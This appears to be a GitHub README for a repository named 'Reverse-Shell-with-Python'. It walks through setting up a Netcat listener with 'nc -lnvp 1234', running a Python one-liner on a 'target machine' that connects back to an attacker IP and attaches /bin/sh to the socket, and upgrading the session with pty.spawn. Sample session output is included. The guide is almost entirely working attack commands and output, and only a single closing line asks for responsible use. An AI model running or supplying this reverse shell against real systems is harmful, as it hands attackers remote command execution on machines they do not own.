Skip to content

This guide shows you how to set up a simple reverse shell using Python on the target machine and Netcat on the attacker machine.

Notifications You must be signed in to change notification settings

oussamamellakh/Reverse-Shell-with-Python

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

8 Commits
 
 
 
 

Repository files navigation

Reverse Shell with Python

This guide shows you how to set up a simple reverse shell using Python on the target machine and Netcat on the attacker machine.

Prerequisites

  • Python3 installed on the target machine.
  • Netcat installed on the attacker machine.

Step 1: Set up Listener (Attacker Machine)

Use Netcat to listen for incoming connections:

nc -lnvp 1234

Explanation of flags:

  • -l: Listen mode, for incoming connections.
  • -n: Numeric-only IP addresses, no DNS resolution.
  • -v: Verbose output.
  • -p: Specify the port number (in this example, 1234).

Replace 1234 with your desired port if necessary.

Step 2: Execute Reverse Shell (Target Machine)

Run this command on the target machine, replacing IP_ADDRESS with your attacker machine's IP and 1234 with your chosen port number:

python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("IP_ADDRESS",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

You can also use the file that I provided you, "reverse_shell.py" and execute it on the target machine (make sure to replace the IP_ADDRESS with your attacker machine's IP and 1234 with your chosen port number) :

python3 reverse_shell.py

Explanation:

  • Establishes a TCP socket connection to the attacker’s IP and port.
  • Redirects standard input (stdin), standard output (stdout), and standard error (stderr) to the socket.
  • Executes a shell (/bin/sh) to provide an interactive shell session back to the attacker.

Step 3: Receiving the Connection

Once the reverse shell command is executed, the attacker’s terminal running Netcat will establish a connection, giving you an interactive shell:

listening on [any] 1234 ...
connect to [IP_ADDRESS] from (UNKNOWN) [IP_ADDRESS] PORT
/bin/sh: 0: can't access tty; job control turned off
$ whoami
user
$

Upgrading to Interactive Shell

To upgrade your shell to a fully interactive terminal, use:

python3 -c 'import pty; pty.spawn("/bin/bash")'

This command gives you a more usable shell environment.

Warning

Use this knowledge responsibly and ethically. Unauthorized use of this method is illegal and unethical.

About

This guide shows you how to set up a simple reverse shell using Python on the target machine and Netcat on the attacker machine.

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published

Languages